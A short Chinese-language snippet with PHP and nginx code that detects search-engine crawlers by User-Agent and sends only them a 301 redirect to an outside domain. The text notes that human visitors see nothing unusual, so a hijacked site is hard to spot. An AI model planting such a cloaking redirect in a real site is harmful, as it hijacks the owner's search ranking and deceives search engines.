<?phpif (preg_match("#(Baiduspider|Googlebot|Sogou web spider|YodaoBot|Sosospider|bingbot|Yahoo! Slurp|MSNBot)#si", $_SERVER['HTTP_USER_AGENT'])) {
header("HTTP/1.1 301 Moved Permanently");
header("Location: https://www.dossk.com/"); exit;
}?>
用户访问网站完全正常,搜索引擎蜘蛛 User Agent 就301跳转。这个不得不说很隐蔽,被搞了不容易发现。
网站配置
if ($http_user_agent ~* Googlebot){
return 301 https://www.dossk.com/k$request_uri;
}